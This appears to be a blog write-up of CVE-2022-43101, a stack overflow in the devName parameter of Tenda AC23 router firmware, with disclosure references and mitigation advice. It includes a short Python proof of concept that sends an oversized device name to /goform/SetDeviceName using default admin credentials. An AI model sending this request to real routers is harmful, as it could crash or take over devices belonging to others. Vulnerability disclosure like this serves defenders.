CVE-2022-43101: Exploring the Stack Overflow Vulnerability in Tenda AC23 V16.03.07.45_cn

A new security vulnerability, CVE-2022-43101, has been identified in the Tenda AC23 V16.03.07.45_cn router firmware. This vulnerability is a stack overflow which occurs via the devName parameter found in the formSetDeviceName function. In this long read post, we will discuss the exploit details, provide a code snippet to demonstrate the issue, and reference the original sources that reported the vulnerability. Understanding and addressing this vulnerability is important to ensure the security and integrity of impacted routers and the networks they manage.

Vulnerability Details

The stack overflow vulnerability in the Tenda AC23 router firmware happens because of the improper handling of the devName parameter in the formSetDeviceName function. An attacker with network access to the device can send a crafted HTTP POST request with a malicious payload containing an excessively long device name, causing a buffer overflow. The resultant memory corruption can possibly lead to arbitrary code execution or denial of service. This can be used by malicious actors to gain unauthorized access or render the device unusable.

Code Snippet

The following code snippet is an example of a POST request that triggers the stack overflow vulnerability:

import requests

url = "http://<router_ip>/goform/SetDeviceName";

payload = {
    "devName": "A" * 1024,  # The long device name triggering the stack overflow
    "submit-url": "/DeviceName.asp"
}

headers = {
    "Content-Type": "application/x-www-form-urlencoded",
    "Cookie": "Authorization=Basic%20YWRtaW46YWRtaW4%3D"  # Authentication may be required
}

response = requests.post(url, headers=headers, data=payload)

if response.status_code == 200:
    print("Stack overflow triggered successfully!")
else:
    print("Failed to trigger the stack overflow.")

Original References

The vulnerability, CVE-2022-43101, was first reported by g4l3g (<https://github.com/g4l3g>) in their GitHub repository. The issue was disclosed responsibly to Tenda, and it is currently being tracked in their public security advisories. The following links provide more details on the vulnerability and its disclosure:

1. GitHub repository by g4l3g: <https://github.com/g4l3g/CVE-2022-43101>
2. Tenda Security Advisory: <https://tendacn.com/en/empty.html?id=12091>

Mitigation and Conclusion

The Tenda security team is aware of the vulnerability and it is advised to monitor their official communication channels for firmware updates or patches. Until a fix is released, precautions such as changing the default router credentials and restricting unauthorized access to the administration interface can limit the chances of exploitation.

It is essential for users and administrators to be informed about the CVE-2022-43101 vulnerability to ensure that they are prepared to take appropriate action once a patch is available. As with all security vulnerabilities, understanding the threat and the potential impact on impacted devices is a critical component of maintaining the security, stability, and performance of our digital ecosystem.

Timeline

Published on: 11/03/2022 14:15:00 UTC
Last modified on: 11/03/2022 17:20:00 UTC